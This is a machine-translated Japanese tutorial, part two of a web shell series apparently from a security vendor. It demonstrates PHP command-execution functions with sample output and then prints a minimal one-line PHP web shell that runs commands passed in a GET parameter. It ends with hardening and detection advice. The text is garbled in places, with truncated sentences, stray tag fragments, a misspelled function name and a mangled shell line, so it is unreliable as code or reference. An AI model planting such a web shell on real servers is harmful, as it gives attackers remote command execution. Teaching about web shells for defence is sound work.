Dubitinsider

for your information

このシリーズの第1部では、webシェルとは何か、なぜ攻撃者がWEBシェルを使用しようとするのかを見ました。 このシリーズの第2部では、PHPプログラミング言語を使用して開発されたwebシェルの具体的な例をいくつか見ていきます。

Webシェルは、考えることができるほぼすべてのwebプログラミング言語に存在します。 私たちは、WEB上で最も広く使用されているプログラミング言語であるPHPに焦点を当てることにしました。

PHP webシェルは、組み込みのPHP関数を使用してコマンドを実行するだけです。 PHPでシェルコマンドを実行するために使用される最も一般的な関数のいくつかを次に示します。

注:この記事の目的のために、hostsファイルを編集し、ドメインを指定しましたwww.example.com テストサーバーに。

system()

system()関数はコマンドをパラメータとして受け入れ、結果を出力します。

次の例では、Microsoft Windowsマシンでdirコマンドを実行して、PHPファイルが実行されたディレクトリのディレクトリリストを返します。

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

Linuxマシンでlsコマンドを実行すると、同様の結果が得られます。

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

他のコマンドも同じ効果があります。p>

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec()

exec()関数はコマンドをパラメータとして受け入れますが、結果は出力しません。 2番目のオプションパラメータが指定されている場合、結果は配列として返されます。 それ以外の場合は、エコーされた場合、結果の最後の行のみが表示されます。p>

<?php// Executes but returns nothingexec("ls -la");?>-->

echoexec()exec()関数を使用すると、コマンド出力の最後の行のみが出力されます。

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

第二のパラメータが指定されている場合、結果は配列で返されます。p>

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

shell_exec()exec()と似ていますが、結果全体を文字列として出力します。p>

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

passthru()関数はコマンドを実行し、生の形式で出力を返します。p>

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

proc_open()関数は理解するのが難しい場合があります(関数の詳細な説明はPHPドキュメントにあります)。 proc_open()を使用することで、スクリプトと実行したいプログラムとの間の通信に使用されるハンドラ(プロセス)を作成できます。

Backticks

驚くべきことに、多くのPHP開発者がこれを認識しているわけではありませんが、PHPはbackticks(`)の内容をシェルコマンドとして実行します。

注:バックティック文字(`)は一重引用符文字(‘)と混同してはいけません
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

上記に基づいて、以下は最も単純な形式のPHP webシェルです。

<?php system($_GET);?>

system()関数を使用して、’cmd’HTTP要求GETパラメータを介して渡されるコマンドを実行します。私たちは、これらの機能(および他のいくつか)は非常に危険であることができることを確立しました。

webシェル画像2

私たちは、こ さらに危険なのは、PHPがインストールされていて、システム管理者の大多数がそれらを無効にしないときに、これらすべての組み込みPHPコマンドがデフ

システムで有効になっているかどうかわからない場合は、有効になっている危険な関数のリストを返します。

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

デフォルトのインストールでは、上記のすべての機能が有効になっていることがわかります。P>

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

パート1

Webシェルの紹介

パート2

PHPを使用したWebシェル101

パート3

Webシェルをカバーの下に保つ

パート3

Webシェルをカバーの下に保つ

パート1

パート2

WEBシェル101

パート3

Webシェルをカバーの下に保つ

パート4

動作中のwebシェル

パート5

検出&防止

よくある質問

webシェルは、攻撃者がwebサーバー上で実行 彼らは、リモートでサーバーにアクセスし、その上でコマンドを実行するために、このアプリケーションを使用することができます。 Webシェル自体は決して攻撃ではなく、webサイトまたはwebアプリケーションに対する攻撃が成功した後のものです。 これは、webシェルがある場合、心配する必要があるはるかに深刻な問題があることを意味します。

webシェルが実際にどのように動作するかを参照してください。

悪意のあるハッカーは、すでに侵害されたサーバーの制御を取るためにwebシェルを使用します。 まず、SQLインジェクション、リモートでのコード実行など、webサイトまたはwebアプリケーションの脆弱性を悪用します。 その後、彼らはあなたのwebサーバーにwebシェルをアップロードします。 今から、彼らはあなたのサーバー上で好きなコマンドを実行することができます。

完全なサーバー侵害につながる攻撃のステップバイステップの例を参照してください。ログ分析によってwebシェルを検出できます。 ただし、webシェルの検出に焦点を当てるのではなく、攻撃者がサーバーを制御できる脆弱性を検出する必要があります。 Webシェルを検出したとしても、脆弱性がまだ存在する場合、攻撃者が再び制御を引き継ぐのを止めることはありません。 Webの脆弱性を検出し、それらを排除する方法を学習するには、Acunetixを使用します。Acunetixプレミアムはあなたのために何ができるかを参照してください。

webシェルから身を守る最善の方法は、システム上でそれらを使用することを不可能にすることです。 余分な権限をすべて削除したり、潜在的に危険な機能をブロックしたり、アップロードディレクトリでのスクリプト実行を制限したりすることで、サーバーを強化することができます。 ただし、Acunetixを定期的に使用して、最初にサーバーが侵害されるのを防ぐことをお勧めします。webシェルの検出と保護の詳細については、こちらをご覧ください。

webセキュリティに関する最新のコンテンツを毎週受信トレイに取得します。

webシステム管理者/開発者

akisは13年以上it分野で働いており、システム管理者およびweb開発者としての防御的な視点からだけでなく、侵入テスタ 彼は倫理的なハッキング、デジタルフォレンジック、インシデント対応に関連する様々な専門的な認定を保持しています。

コメントを残す

メールアドレスが公開されることはありません。